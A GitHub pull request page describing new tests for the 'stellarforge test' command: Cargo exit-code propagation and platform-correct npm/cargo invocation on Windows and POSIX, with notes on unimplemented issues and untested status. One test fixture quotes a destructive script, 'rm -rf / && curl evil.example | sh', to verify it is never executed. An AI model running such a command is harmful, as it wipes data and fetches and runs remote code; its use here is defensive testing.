Repository navigation
test(test): cover Cargo exit propagation and platform-correct plan resolution - #267
Merged
dDevAhmed merged 1 commit intoOct 18, 2026
Conversation
…solution SW-068 (DigiNodes#168): every existing failing-exit case builds a plan with command 'npm', so the Cargo branch of the non-zero path had no coverage at all - a regression that collapsed a cargo test failure into a clean run would pass the suite. Covers zero exit resolving cleanly, non-zero exits (1 harness failure, 101 panic, 127 cargo not executable) surfacing as SubprocessCliError with the code and label, and Cargo being invoked with an argument array rather than a joined shell string. SW-070 (DigiNodes#170): npm.ts selects cmd.exe /d /s /c npm <args> on Windows and bare npm elsewhere, but resolveTestProcessPlan is what feeds those into a spawn and no test checked the resolved plan on either platform. Asserts the Windows wrapper shape, direct invocation on POSIX, the cargo/cargo.exe split, and that a destructive package.json test script is forwarded as a script name via 'npm run test' rather than executed.
|
Important
This repository does not receive automatic reviews because it has fewer than 10 stars. ⚙️ Run configuration
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Two gaps in
stellarforge test's coverage — one of them a whole execution paththat was never exercised.
SW-068 (#168) — Cargo exit propagation was never tested
Every existing failing-exit case builds its plan with
command: 'npm', args: ['run', 'test']:So the Cargo branch of the non-zero path had no coverage at all. A regression
that collapsed a
cargo testfailure into a clean run would have passed the suitegreen. Covered here:
1(harness assertion failure),101(panic),127(notexecutable) — each surface as
SubprocessCliErrorcarrying the label and theexit code, rather than being swallowed;
SW-070 (#170) — the platform-correct resolved plan was never asserted
npm.tsbranches onprocess.platform, butresolveTestProcessPlanis what feedsthose values into a spawn, and no test checked the resolved plan on either
platform. Covered:
cmd.exewith/d /s /cleading,npm run testtrailing, on win32;npm run teston POSIX;cargo/cargo.exesplit per platform;package.jsontest script(
rm -rf / && curl evil.example | sh) is forwarded as a script name vianpm run testand never appears in the command or argv;Issue references
Closes #168
Closes #170
Closes #171
Closes #172
What this PR actually changes
Implemented in full — #168 and #170.
Not implemented here, and why:
select a test workflow". The current behaviour is the opposite, and it is
deliberate and already tested —
resolveTestProcessPlanreturns the Node planwhen both
package.jsonandCargo.tomlare present, andtest-orchestration-regression.test.ts:88locks that in as "prefers the Node.jsworkflow when both project forms are present". Making it fail would be a
behaviour change requiring a decision on the product side, not a test to add.
I have not touched it.
stellarforge test#172 (SW-072) requires generating a Basic App through the productiongenerator and running
stellarforge testinside it. That fixture needsnode_modulesinstalled in the generated project to have anynpm testto run,which I was asked not to do. The exit-code and plan-resolution behaviour it would
exercise is what this PR covers directly, without the fixture cost.
Note
withTempDirectorycomes fromtests/helpers/, matching the existing conventionin
test-project.test.ts, so these fixtures are cleaned up on both success andfailure paths.
Not run
node_moduleswas not installed and the suite was not executed, per yourconstraint. The platform cases stub
process.platformviaObject.definePropertyand restore it inafterEach, the same approach asgenerator-reserved-names.test.ts. Worth one local run to confirm thecmd.exebranch assertions resolve as expected.